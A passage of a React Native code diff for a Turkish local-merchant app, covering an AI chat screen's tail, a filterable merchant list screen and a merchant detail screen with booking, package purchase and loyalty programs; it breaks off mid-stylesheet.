renderItem={renderMessage}
contentContainerStyle={styles.messageList}
onContentSizeChange={() =>
flatListRef.current?.scrollToEnd({animated: true})
}
ListFooterComponent={
loading ? (
<View style={msgStyles.rowAi}>
<Image source={AI_AVATAR} style={msgStyles.avatar} />
<View style={msgStyles.typingBubble}>
<ActivityIndicator size="small" color={colors.primary} />
<Text style={msgStyles.typingText}>{t('chat.typing')}</Text>
</View>
</View>
) : null
}
/>
)}
{/* Input Area */}
<View style={[styles.inputContainer, {paddingBottom: insets.bottom + 8}]}>
<TextInput
style={styles.input}
value={inputText}
onChangeText={setInputText}
placeholder={t('chat.placeholder')}
placeholderTextColor="#9CA3AF"
multiline
maxLength={1000}
editable={!loading}
/>
{hasText ? (
<TouchableOpacity
style={[styles.sendButton, loading && {opacity: 0.5}]}
onPress={() => handleSend(inputText)}
disabled={loading}
activeOpacity={0.7}>
<Icon name="send" size={20} color="#FFFFFF" />
</TouchableOpacity>
) : (
<TouchableOpacity
style={[styles.micButton, isListening && styles.micButtonActive]}
onPressIn={startListening}
onPressOut={stopListening}
activeOpacity={0.7}
disabled={loading}>
<Icon name="microphone" size={22} color={isListening ? '#FFFFFF' : colors.primary} />
</TouchableOpacity>
)}
</View>
</KeyboardAvoidingView>
);
}
const msgStyles = StyleSheet.create({
row: {flexDirection: 'row', marginBottom: 12, alignItems: 'flex-end'},
rowUser: {justifyContent: 'flex-end'},
rowAi: {justifyContent: 'flex-start'},
avatar: {width: 32, height: 32, borderRadius: 16, marginRight: 8},
bubble: {maxWidth: '75%', borderRadius: 16, paddingHorizontal: 14, paddingVertical: 10},
bubbleUser: {backgroundColor: colors.primary, borderBottomRightRadius: 4},
bubbleAi: {
backgroundColor: '#FFFFFF',
borderBottomLeftRadius: 4,
shadowColor: '#000',
shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.05,
shadowRadius: 3,
elevation: 1,
},
text: {fontSize: 15, lineHeight: 22},
textUser: {color: '#FFFFFF'},
textAi: {color: '#1A1A1A'},
typingBubble: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#FFFFFF',
borderRadius: 16,
borderBottomLeftRadius: 4,
paddingHorizontal: 14,
paddingVertical: 10,
},
typingText: {fontSize: 13, color: '#9CA3AF', fontStyle: 'italic', marginLeft: 8},
});
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F0F2F5'},
// Header
header: {
backgroundColor: colors.primary,
flexDirection: 'row',
alignItems: 'center',
paddingBottom: 14,
paddingHorizontal: 16,
},
backButton: {width: 40, height: 40, borderRadius: 20, justifyContent: 'center', alignItems: 'center'},
headerCenter: {flex: 1, flexDirection: 'row', alignItems: 'center', marginLeft: 8},
headerAvatar: {width: 36, height: 36, borderRadius: 18, marginRight: 10, borderWidth: 2, borderColor: 'rgba(255,255,255,0.3)'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
headerStatus: {fontSize: 11, color: 'rgba(255,255,255,0.7)', marginTop: 1},
// Welcome
welcomeContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', paddingHorizontal: 32},
avatarPulseRing: {width: 130, height: 130, borderRadius: 65, borderWidth: 4, borderColor: 'transparent', justifyContent: 'center', alignItems: 'center', marginBottom: 16},
welcomeAvatar: {width: 120, height: 120, borderRadius: 60},
welcomeName: {fontSize: 22, fontWeight: '800', color: colors.primary, marginBottom: 8},
welcomeGreeting: {fontSize: 15, color: '#6B7280', textAlign: 'center', lineHeight: 22, marginBottom: 32},
suggestionsWrap: {width: '100%'},
suggestionChip: {
backgroundColor: '#FFFFFF',
borderWidth: 1.5,
borderColor: colors.primary,
borderRadius: 14,
paddingHorizontal: 18,
paddingVertical: 14,
marginBottom: 10,
alignItems: 'center',
},
suggestionText: {fontSize: 15, fontWeight: '600', color: colors.primary},
holdHint: {fontSize: 12, color: '#9CA3AF', marginTop: 8, fontStyle: 'italic'},
listeningText: {fontSize: 18, fontWeight: '700', color: colors.primary, marginBottom: 8},
partialText: {fontSize: 14, color: '#6B7280', fontStyle: 'italic', textAlign: 'center', paddingHorizontal: 32},
// Messages
messageList: {paddingHorizontal: 16, paddingVertical: 16, flexGrow: 1},
// Input
inputContainer: {
flexDirection: 'row',
alignItems: 'flex-end',
paddingHorizontal: 16,
paddingTop: 8,
backgroundColor: '#FFFFFF',
borderTopWidth: 1,
borderTopColor: '#E5E7EB',
},
input: {
flex: 1,
backgroundColor: '#F3F4F6',
borderRadius: 24,
paddingHorizontal: 18,
paddingVertical: 10,
fontSize: 15,
color: '#1A1A1A',
maxHeight: 100,
marginRight: 10,
},
sendButton: {
width: 42,
height: 42,
borderRadius: 21,
backgroundColor: colors.primary,
justifyContent: 'center',
alignItems: 'center',
},
micButton: {
width: 42,
height: 42,
borderRadius: 21,
backgroundColor: '#F3F4F6',
justifyContent: 'center',
alignItems: 'center',
borderWidth: 1.5,
borderColor: '#E5E7EB',
},
micButtonActive: {
backgroundColor: '#DC2626',
borderColor: '#DC2626',
},
});
@@ -0,0 +1,404 @@
import React, {useEffect, useState, useCallback} from 'react';
import {useFocusEffect} from '@react-navigation/native';
import {
View,
Text,
FlatList,
TouchableOpacity,
StyleSheet,
RefreshControl,
StatusBar,
TextInput,
Image,
ScrollView,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useLocationStore} from '../../store/locationStore';
import * as merchantsApi from '../../api/merchants';
import type {MerchantNearby, MerchantCategory} from '../../types/models';
import {useTranslation} from 'react-i18next';
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
import OfflineBanner from '../../components/OfflineBanner';
const THEME = '#DC2626'; // Red theme for Esnaf
const THEME_LIGHT = '#FEE2E2';
const BASE_URL = 'https://bereketli.pezkiwi.app';
// Real Canva-generated category images
const MERCHANT_CATEGORY_IMAGES: Record<string, string> = {
barber: `${BASE_URL}/esnaf-barber.png`,
cafe: `${BASE_URL}/esnaf-cafe.png`,
butcher: `${BASE_URL}/esnaf-butcher.png`,
greengrocer: `${BASE_URL}/esnaf-greengrocer.png`,
tailor: `${BASE_URL}/esnaf-tailor.png`,
bakery: `${BASE_URL}/package-bakery.png`,
pharmacy: `${BASE_URL}/esnaf-cafe.png`,
other: `${BASE_URL}/local-barber.png`,
};
const CATEGORY_KEYS: {key: MerchantCategory | 'all'; i18nKey: string; icon: string}[] = [
{key: 'all', i18nKey: 'common.all', icon: '🏪'},
{key: 'barber', i18nKey: 'merchants.categoryBarber', icon: '💈'},
{key: 'cafe', i18nKey: 'merchants.categoryCafe', icon: '☕'},
{key: 'butcher', i18nKey: 'merchants.categoryButcher', icon: '🥩'},
{key: 'greengrocer', i18nKey: 'merchants.categoryGreengrocer', icon: '🥬'},
{key: 'bakery', i18nKey: 'merchants.categoryBakery', icon: '🍞'},
{key: 'pharmacy', i18nKey: 'merchants.categoryPharmacy', icon: '💊'},
{key: 'tailor', i18nKey: 'merchants.categoryTailor', icon: '🧵'},
];
export default function EsnafMapScreen({navigation}: any) {
const {t} = useTranslation();
const {latitude, longitude, updateLocation} = useLocationStore();
const [merchants, setMerchants] = useState<MerchantNearby[]>([]);
const [category, setCategory] = useState<MerchantCategory | 'all'>('all');
const [loading, setLoading] = useState(false);
const [searchQuery, setSearchQuery] = useState('');
const [radius, setRadius] = useState(0); // Default: Tümü
const insets = useSafeAreaInsets();
const fetchMerchants = useCallback(async () => {
setLoading(true);
try {
let data: MerchantNearby[];
if (radius === 0) {
// Tümü — show all merchants regardless of location
data = await merchantsApi.getAllMerchants();
} else if (latitude && longitude) {
data = await merchantsApi.getNearbyMerchants(latitude, longitude, radius, category === 'all' ? undefined : category);
} else {
data = [];
}
setMerchants(data);
} catch {
// Silent fail
} finally {
setLoading(false);
}
}, [latitude, longitude, category, radius]);
useEffect(() => {
updateLocation();
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
}, []);
useEffect(() => {
fetchMerchants();
}, [fetchMerchants]);
const filteredMerchants = searchQuery.trim()
? merchants.filter(
m =>
m.name.toLowerCase().includes(searchQuery.toLowerCase()) ||
(m.description || '').toLowerCase().includes(searchQuery.toLowerCase()),
)
: merchants;
const formatDistance = (m: number) =>
m < 1000 ? `${Math.round(m)}m` : `${(m / 1000).toFixed(1)}km`;
const renderMerchantCard = ({item}: {item: MerchantNearby}) => {
const catInfo = CATEGORY_KEYS.find(c => c.key === item.category);
return (
<View style={styles.cardWrapper}>
<TouchableOpacity style={styles.card} activeOpacity={0.9} onPress={() => navigation.navigate('MerchantDetail', {merchantId: item.id})}>
{/* Image */}
<View style={styles.cardImage}>
<Image
source={{uri:
item.photos && item.photos.length > 0
? (item.photos[0].startsWith('http') ? item.photos[0] : `${BASE_URL}${item.photos[0]}`)
: MERCHANT_CATEGORY_IMAGES[item.category] || MERCHANT_CATEGORY_IMAGES.other
}}
style={styles.cardImg}
resizeMode="cover"
/>
{/* Category badge */}
<View style={styles.categoryBadge}>
<Text style={styles.categoryBadgeText}>{catInfo?.icon} {t(catInfo?.i18nKey || '') || item.category}</Text>
</View>
{/* Heart */}
<TouchableOpacity style={styles.heartBtn} activeOpacity={0.7}>
<Text style={styles.heartIcon}></Text>
</TouchableOpacity>
</View>
{/* Info */}
<View style={styles.cardInfo}>
<View style={styles.cardNameRow}>
<Text style={styles.cardName} numberOfLines={1}>{item.name}</Text>
{item.rating > 0 && (
<View style={styles.ratingBadge}>
<Text style={styles.ratingStar}></Text>
<Text style={styles.ratingText}>{item.rating.toFixed(1)}</Text>
{item.total_reviews > 0 && (
<Text style={styles.reviewCount}>({item.total_reviews})</Text>
)}
</View>
)}
</View>
{item.story && (
<Text style={styles.cardStory} numberOfLines={2}>"{item.story}"</Text>
)}
<View style={styles.cardMetaRow}>
{item.distance_m > 0 && (
<Text style={styles.cardDistance}>📍 {formatDistance(item.distance_m)}</Text>
)}
<Text style={styles.cardAddress} numberOfLines={1}>{item.address}</Text>
</View>
{/* Plan badge */}
{item.plan !== 'free' && (
<View style={styles.planBadge}>
<Text style={styles.planText}> {item.plan === 'pro' ? 'Pro Esnaf' : 'Business'}</Text>
</View>
)}
</View>
</TouchableOpacity>
</View>
);
};
const renderScrollHeader = () => (
<>
{/* ── Categories ── */}
<View style={styles.categorySection}>
<ScrollView
horizontal
showsHorizontalScrollIndicator={false}
contentContainerStyle={styles.categoryList}>
{CATEGORY_KEYS.map(cat => (
<TouchableOpacity
key={cat.key}
style={[styles.categoryChip, category === cat.key && styles.categoryChipActive]}
onPress={() => setCategory(cat.key)}>
<Text style={styles.categoryChipIcon}>{cat.icon}</Text>
<Text style={[styles.categoryChipText, category === cat.key && styles.categoryChipTextActive]}>
{t(cat.i18nKey)}
</Text>
</TouchableOpacity>
))}
</ScrollView>
</View>
{/* ── Distance ── */}
<View style={styles.distanceSection}>
<View style={styles.distanceHeader}>
<Text style={styles.distanceLabel}>📍 {t('common.distance')}</Text>
<Text style={styles.distanceValue}>
{radius === 0 ? t('common.all') : radius >= 1000 ? `${(radius / 1000).toFixed(1)} km` : `${radius}m`}
</Text>
</View>
<View style={styles.distanceSliderRow}>
{([500, 1000, 2000, 3000, 5000, 0] as number[]).map(r => (
<TouchableOpacity
key={r}
style={[styles.distanceChip, radius === r && styles.distanceChipActive]}
onPress={() => setRadius(r)}>
<Text style={[styles.distanceChipText, radius === r && styles.distanceChipTextActive]}>
{r === 0 ? t('common.all') : r >= 1000 ? `${r / 1000}km` : `${r}m`}
</Text>
</TouchableOpacity>
))}
</View>
</View>
{/* ── Section Title ── */}
<View style={styles.sectionHeader}>
<Text style={styles.sectionTitle}>
{category === 'all' ? t('merchants.nearbyMerchants') : (t(CATEGORY_KEYS.find(c => c.key === category)?.i18nKey || ''))}
</Text>
{filteredMerchants.length > 0 && (
<Text style={styles.sectionCount}>{t('merchants.merchantCount', {count: filteredMerchants.length})}</Text>
)}
</View>
</>
);
useFocusEffect(
useCallback(() => {
StatusBar.setBarStyle('light-content');
StatusBar.setBackgroundColor(THEME);
}, []),
);
return (
<View style={styles.container}>
{/* ── Sticky Header ── */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<View style={styles.headerRow}>
<View>
<Text style={styles.headerTitle}>{t('merchants.title')}</Text>
<Text style={styles.headerSubtitle}>{t('merchants.subtitle')}</Text>
</View>
<TouchableOpacity style={styles.headerIconBtn} onPress={() => navigation.navigate('AiChat')}>
<Icon name="robot" size={20} color="#FFFFFF" />
<Text style={styles.aiLabel}>AI</Text>
</TouchableOpacity>
</View>
<View style={styles.searchBar}>
<Text style={styles.searchIcon}>🔍</Text>
<TextInput
style={styles.searchInput}
placeholder={t('merchants.searchPlaceholder')}
placeholderTextColor="#9CA3AF"
value={searchQuery}
onChangeText={setSearchQuery}
/>
{searchQuery.length > 0 && (
<TouchableOpacity onPress={() => setSearchQuery('')}>
<Text style={styles.clearIcon}></Text>
</TouchableOpacity>
)}
</View>
</View>
<OfflineBanner />
{/* ── Scrollable ── */}
<FlatList
data={filteredMerchants}
keyExtractor={item => item.id}
renderItem={renderMerchantCard}
ListHeaderComponent={renderScrollHeader}
contentContainerStyle={styles.list}
refreshControl={
<RefreshControl refreshing={loading} onRefresh={fetchMerchants} colors={[THEME]} />
}
ListEmptyComponent={
!loading ? (
<View style={styles.empty}>
<View style={styles.emptyIconContainer}>
<Text style={styles.emptyIconText}>🏪</Text>
</View>
<Text style={styles.emptyTitle}>{t('merchants.emptyTitle')}</Text>
<Text style={styles.emptyText}>{t('merchants.emptyText')}</Text>
</View>
) : null
}
/>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
// Header
header: {backgroundColor: THEME, paddingBottom: 16, paddingHorizontal: 16},
headerRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 12},
headerTitle: {fontSize: 22, fontWeight: '700', color: '#FFFFFF'},
headerSubtitle: {fontSize: 13, color: 'rgba(255,255,255,0.7)', fontWeight: '500', marginTop: 2},
headerIconBtn: {
width: 40, height: 40, borderRadius: 20,
backgroundColor: 'rgba(255,255,255,0.15)',
justifyContent: 'center', alignItems: 'center',
},
headerIcon: {fontSize: 18},
aiLabel: {fontSize: 8, fontWeight: '700', color: '#FFFFFF', marginTop: 1},
// Search
searchBar: {
flexDirection: 'row', alignItems: 'center',
backgroundColor: '#FFFFFF', borderRadius: 12,
paddingHorizontal: 14, height: 46, gap: 10,
},
searchIcon: {fontSize: 16},
searchInput: {flex: 1, fontSize: 14, color: '#1A1A1A', padding: 0},
clearIcon: {fontSize: 16, color: '#9CA3AF', padding: 4},
// Categories
categorySection: {backgroundColor: '#FFFFFF', paddingVertical: 10, borderBottomWidth: 1, borderBottomColor: '#F3F4F6'},
categoryList: {paddingHorizontal: 16, gap: 8},
categoryChip: {
flexDirection: 'row', alignItems: 'center', gap: 4,
paddingHorizontal: 14, paddingVertical: 8,
borderRadius: 20, borderWidth: 1, borderColor: '#E5E7EB',
},
categoryChipActive: {backgroundColor: THEME, borderColor: THEME},
categoryChipIcon: {fontSize: 14},
categoryChipText: {fontSize: 13, fontWeight: '500', color: '#374151'},
categoryChipTextActive: {color: '#FFFFFF'},
// Distance
distanceSection: {
backgroundColor: '#FFFFFF', paddingHorizontal: 16, paddingVertical: 12,
borderBottomWidth: 1, borderBottomColor: '#F3F4F6',
},
distanceHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 8},
distanceLabel: {fontSize: 13, fontWeight: '600', color: '#374151'},
distanceValue: {fontSize: 13, fontWeight: '700', color: THEME},
distanceSliderRow: {flexDirection: 'row', gap: 8},
distanceChip: {
flex: 1, paddingVertical: 8, borderRadius: 20,
backgroundColor: '#F3F4F6', alignItems: 'center',
},
distanceChipActive: {backgroundColor: THEME},
distanceChipText: {fontSize: 12, fontWeight: '600', color: '#6B7280'},
distanceChipTextActive: {color: '#FFFFFF'},
// Section
sectionHeader: {
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
paddingHorizontal: 16, paddingTop: 20, paddingBottom: 12,
},
sectionTitle: {fontSize: 20, fontWeight: '700', color: '#1A1A1A'},
sectionCount: {fontSize: 13, color: '#9CA3AF', fontWeight: '500'},
// List
list: {paddingBottom: 100},
cardWrapper: {paddingHorizontal: 16},
// Card
card: {
backgroundColor: '#FFFFFF', borderRadius: 12,
marginBottom: 12, overflow: 'hidden',
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
},
cardImage: {height: 160, position: 'relative', backgroundColor: THEME_LIGHT},
cardImg: {width: '100%', height: '100%'},
categoryBadge: {
position: 'absolute', bottom: 10, left: 10,
backgroundColor: THEME, borderRadius: 6,
paddingHorizontal: 10, paddingVertical: 3,
},
categoryBadgeText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
heartBtn: {
position: 'absolute', top: 10, right: 10,
width: 34, height: 34, borderRadius: 17,
backgroundColor: 'rgba(255,255,255,0.9)',
justifyContent: 'center', alignItems: 'center',
},
heartIcon: {fontSize: 18, color: '#9CA3AF'},
cardInfo: {padding: 12},
cardNameRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4},
cardName: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', flex: 1, marginRight: 8},
ratingBadge: {flexDirection: 'row', alignItems: 'center', gap: 2},
ratingStar: {fontSize: 13, color: '#F59E0B'},
ratingText: {fontSize: 13, fontWeight: '700', color: '#1A1A1A'},
reviewCount: {fontSize: 11, color: '#9CA3AF'},
cardStory: {fontSize: 13, color: '#6B7280', fontStyle: 'italic', marginBottom: 8, lineHeight: 18},
cardMetaRow: {flexDirection: 'row', alignItems: 'center', gap: 8},
cardDistance: {fontSize: 12, color: '#9CA3AF'},
cardAddress: {fontSize: 12, color: '#9CA3AF', flex: 1},
planBadge: {
backgroundColor: '#FEF3C7', borderRadius: 6,
paddingHorizontal: 10, paddingVertical: 4,
alignSelf: 'flex-start', marginTop: 8,
},
planText: {fontSize: 11, fontWeight: '700', color: '#D97706'},
// Empty
empty: {alignItems: 'center', paddingTop: 48, paddingHorizontal: 40},
emptyIconContainer: {
width: 80, height: 80, borderRadius: 40,
backgroundColor: THEME_LIGHT, justifyContent: 'center', alignItems: 'center', marginBottom: 16,
},
emptyIconText: {fontSize: 36},
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center'},
});
@@ -0,0 +1,413 @@
import React, {useEffect, useState} from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
ScrollView,
Image,
Alert,
ActivityIndicator,
Linking,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import * as merchantsApi from '../../api/merchants';
import client from '../../api/client';
import type {Merchant, LoyaltyProgram, LoyaltyCard} from '../../types/models';
import type {MerchantProduct, MerchantPackage} from '../../api/merchants';
const BASE_URL = 'https://bereketli.pezkuwi.app';
const THEME = '#DC2626';
const CATEGORY_IMAGES: Record<string, string> = {
barber: `${BASE_URL}/esnaf-barber.png`,
cafe: `${BASE_URL}/esnaf-cafe.png`,
butcher: `${BASE_URL}/esnaf-butcher.png`,
greengrocer: `${BASE_URL}/esnaf-greengrocer.png`,
tailor: `${BASE_URL}/esnaf-tailor.png`,
bakery: `${BASE_URL}/package-bakery.png`,
other: `${BASE_URL}/local-barber.png`,
};
const CATEGORY_LABELS: Record<string, string> = {
barber: 'Berber', cafe: 'Kafe', butcher: 'Kasap',
greengrocer: 'Manav', tailor: 'Terzi', bakery: 'Fırın',
pharmacy: 'Eczane', other: 'Diğer',
};
// Which categories support appointments vs orders
const APPOINTMENT_CATEGORIES = ['barber', 'tailor'];
function discountPercent(price: number, original: number): number {
if (original <= 0) return 0;
return Math.round(((original - price) / original) * 100);
}
export default function MerchantDetailScreen({route, navigation}: any) {
const {t} = useTranslation();
const {merchantId} = route.params;
const [merchant, setMerchant] = useState<Merchant | null>(null);
const [programs, setPrograms] = useState<LoyaltyProgram[]>([]);
const [myCards, setMyCards] = useState<LoyaltyCard[]>([]);
const [products, setProducts] = useState<MerchantProduct[]>([]);
const [packages, setPackages] = useState<MerchantPackage[]>([]);
const [loading, setLoading] = useState(true);
const insets = useSafeAreaInsets();
useEffect(() => {
Promise.all([
merchantsApi.getMerchant(merchantId),
merchantsApi.getMyCards().catch(() => []),
merchantsApi.getMerchantProducts(merchantId),
merchantsApi.getMerchantPackages(merchantId),
]).then(([data, cards, prods, pkgs]) => {
setMerchant(data.merchant);
setPrograms(data.programs);
setMyCards(cards.filter((c: LoyaltyCard) => c.merchant_id === merchantId));
setProducts(prods);
setPackages(pkgs);
setLoading(false);
}).catch(() => setLoading(false));
}, [merchantId]);
const handleCall = () => {
if (merchant?.phone) {
Linking.openURL(`tel:${merchant.phone}`);
} else {
Alert.alert('Bilgi', 'Telefon numarası kayıtlı değil.');
}
};
const handleBookAppointment = (service: MerchantProduct) => {
// Simple appointment booking with date/time selection
const tomorrow = new Date();
tomorrow.setDate(tomorrow.getDate() + 1);
const dateStr = tomorrow.toISOString().split('T')[0];
Alert.alert(
'Randevu Al',
`${service.name}${service.price.toFixed(0)} TL\n\nYarın için uygun saatler:`,
[
{text: '09:00', onPress: () => confirmBooking(service, dateStr, '09:00')},
{text: '10:00', onPress: () => confirmBooking(service, dateStr, '10:00')},
{text: '11:00', onPress: () => confirmBooking(service, dateStr, '11:00')},
{text: '14:00', onPress: () => confirmBooking(service, dateStr, '14:00')},
{text: 'İptal', style: 'cancel'},
],
);
};
const confirmBooking = async (service: MerchantProduct, date: string, time: string) => {
try {
await merchantsApi.bookAppointment(merchantId, service.name, date, time);
Alert.alert('Randevu Oluşturuldu!', `${service.name}\n${date} saat ${time}\n\nEsnaf onayladığında bilgilendirileceksiniz.`);
} catch (err: any) {
const msg = err?.response?.data?.message || err?.message || 'Randevu oluşturulamadı.';
Alert.alert('Hata', msg);
}
};
if (loading) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={THEME} />
</View>
);
}
if (!merchant) {
return (
<View style={styles.loadingContainer}>
<Text style={{fontSize: 16, color: '#9CA3AF'}}>{t('merchantDetail.notFound')}</Text>
</View>
);
}
const photoUri = merchant.photos && merchant.photos.length > 0
? (merchant.photos[0].startsWith('http') ? merchant.photos[0] : `${BASE_URL}${merchant.photos[0]}`)
: CATEGORY_IMAGES[merchant.category] || CATEGORY_IMAGES.other;
const isAppointmentBased = APPOINTMENT_CATEGORIES.includes(merchant.category);
// Group products by category
const productCategories = [...new Set(products.map(p => p.category || 'Diğer'))];
return (
<View style={styles.container}>
{/* Header */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}></Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{merchant.name}</Text>
<TouchableOpacity onPress={handleCall}>
<Text style={styles.callIcon}>📞</Text>
</TouchableOpacity>
</View>
<ScrollView contentContainerStyle={styles.scroll}>
{/* Cover image */}
<Image source={{uri: photoUri}} style={styles.coverImage} resizeMode="cover" />
{/* Info */}
<View style={styles.infoSection}>
<View style={styles.nameRow}>
<Text style={styles.merchantName}>{merchant.name}</Text>
{merchant.rating > 0 && (
<View style={styles.ratingBadge}>
<Text style={styles.ratingText}> {merchant.rating.toFixed(1)}</Text>
<Text style={styles.reviewCount}>({merchant.total_reviews})</Text>
</View>
)}
</View>
<Text style={styles.category}>
{CATEGORY_LABELS[merchant.category]} · {merchant.address}
</Text>
{merchant.description && <Text style={styles.description}>{merchant.description}</Text>}
{merchant.story && (
<View style={styles.storyCard}>
<Text style={styles.storyQuote}>"{merchant.story}"</Text>
</View>
)}
</View>
{/* ── Products/Services — REAL DATA ── */}
{products.length > 0 && (
<View style={styles.section}>
<Text style={styles.sectionTitle}>
{isAppointmentBased ? 'Hizmetler' : 'Ürünler'}
</Text>
{productCategories.map(cat => (
<View key={cat}>
{productCategories.length > 1 && (
<Text style={styles.productCategoryLabel}>
{cat.charAt(0).toUpperCase() + cat.slice(1)}
</Text>
)}
{products.filter(p => (p.category || 'Diğer') === cat).map(product => (
<TouchableOpacity
key={product.id}
style={styles.productRow}
onPress={() => {
if (isAppointmentBased) {
handleBookAppointment(product);
} else {
Alert.alert(
product.name,
`${product.description || ''}\n\nFiyat: ${product.price.toFixed(0)} TL / ${product.unit}`,
[
{text: 'Kapat'},
...(merchant?.phone ? [{text: '📞 Ara ve Sipariş Ver', onPress: handleCall}] : []),
],
);
}
}}
activeOpacity={0.7}>
<View style={styles.productInfo}>
<Text style={styles.productName}>{product.name}</Text>
{product.description && (
<Text style={styles.productDesc} numberOfLines={1}>{product.description}</Text>
)}
</View>
<View style={styles.productPriceCol}>
<Text style={styles.productPrice}>{product.price.toFixed(0)} TL</Text>
<Text style={styles.productUnit}>/ {product.unit}</Text>
</View>
{isAppointmentBased && (
<Text style={styles.bookIcon}>📅</Text>
)}
</TouchableOpacity>
))}
</View>
))}
</View>
)}
{/* ── Surprise Packages — REAL DATA ── */}
{packages.length > 0 && (
<View style={styles.section}>
<Text style={styles.sectionTitle}>Sürpriz Paketler</Text>
{packages.map(pkg => {
const pct = discountPercent(pkg.price, pkg.original_value);
const handleBuyPackage = async () => {
try {
const order = await merchantsApi.orderMerchantPackage(merchantId, pkg.id);
// Try Stripe payment
try {
const {data: payment} = await client.post<{checkout_url: string}>('/payment/create-checkout', {order_id: order.id});
if (payment.checkout_url) await Linking.openURL(payment.checkout_url);
} catch {}
Alert.alert('Sipariş Oluşturuldu!', `${pkg.title}\nToplam: ${pkg.price.toFixed(0)} TL`);
} catch (err: any) {
Alert.alert('Hata', err?.response?.data?.message || 'Sipariş oluşturulamadı');
}
};
return (
<View key={pkg.id} style={styles.packageCard}>
<View style={styles.packageHeader}>
<Text style={styles.packageTitle}>{pkg.title}</Text>
{pct > 0 && (
<View style={styles.packageDiscount}>
<Text style={styles.packageDiscountText}>%{pct}</Text>
</View>
)}
</View>
{pkg.description && (
<Text style={styles.packageDesc}>{pkg.description}</Text>
)}
<View style={styles.packageFooter}>
<View style={styles.packagePriceRow}>
<Text style={styles.packagePrice}>{pkg.price.toFixed(0)} TL</Text>
<Text style={styles.packageOriginal}>{pkg.original_value.toFixed(0)} TL</Text>
</View>
<TouchableOpacity style={styles.buyBtn} onPress={handleBuyPackage} activeOpacity={0.7}>
<Text style={styles.buyBtnText}>Satın Al</Text>
</TouchableOpacity>
</View>
</View>
);
})}
</View>
)}
{/* ── Loyalty Programs ── */}
{programs.length > 0 && (
<View style={styles.section}>
<Text style={styles.sectionTitle}>Sadakat Programı</Text>
{programs.map(prog => {
const myCard = myCards.find(c => c.program_id === prog.id);
return (
<View key={prog.id} style={styles.loyaltyCard}>
<Text style={styles.loyaltyName}>{prog.name}</Text>
<Text style={styles.loyaltyReward}>🎁 {prog.reward_description}</Text>
{myCard ? (
<View style={styles.progressBar}>
<View style={styles.progressTrack}>
<View style={[styles.progressFill, {
width: `${Math.min(100, (
prog.program_type === 'stamp' ? (myCard.current_stamps / (prog.stamps_required || 10)) :
prog.program_type === 'points' ? (myCard.current_points / (prog.points_required || 100)) :
(myCard.visit_count / (prog.frequency_required || 10))
) * 100)}%`,
}]} />
</View>
<Text style={styles.progressText}>
{prog.program_type === 'stamp' ? `${myCard.current_stamps}/${prog.stamps_required}` :
prog.program_type === 'points' ? `${myCard.current_points}/${prog.points_required}` :
`${myCard.visit_count}/${prog.frequency_required}`}
</Text>
</View>
) : (
<Text style={styles.loyaltyJoin}>İlk ziyaretinde otomatik katılırsın</Text>
)}
</View>
);
})}
</View>
)}
{/* ── Contact ── */}
<View style={styles.section}>
<Text style={styles.sectionTitle}>İletişim</Text>
<View style={styles.contactCard}>
<Text style={styles.contactItem}>📍 {merchant.address}</Text>
{merchant.phone && (
<TouchableOpacity onPress={handleCall}>
<Text style={styles.contactItemLink}>📞 {merchant.phone} Ara</Text>
</TouchableOpacity>
)}
</View>
</View>
</ScrollView>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
header: {
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: THEME,
},
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
backIcon: {fontSize: 22, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF', flex: 1, textAlign: 'center'},
callIcon: {fontSize: 20, padding: 8},
scroll: {paddingBottom: 100},
coverImage: {width: '100%', height: 180},
infoSection: {padding: 16},
nameRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4},
merchantName: {fontSize: 22, fontWeight: '700', color: '#1A1A1A', flex: 1},
ratingBadge: {flexDirection: 'row', alignItems: 'center', gap: 4},
ratingText: {fontSize: 15, fontWeight: '700', color: '#F59E0B'},
reviewCount: {fontSize: 13, color: '#9CA3AF'},
category: {fontSize: 14, color: '#6B7280', marginBottom: 12},
description: {fontSize: 15, color: '#374151', lineHeight: 22, marginBottom: 12},
storyCard: {
backgroundColor: '#FEF3C7', borderRadius: 12, padding: 16,
borderLeftWidth: 4, borderLeftColor: '#F59E0B',
},
storyQuote: {fontSize: 14, color: '#92400E', fontStyle: 'italic', lineHeight: 20},
// Section
section: {paddingHorizontal: 16, marginBottom: 20},
sectionTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 12},
// Products
productCategoryLabel: {
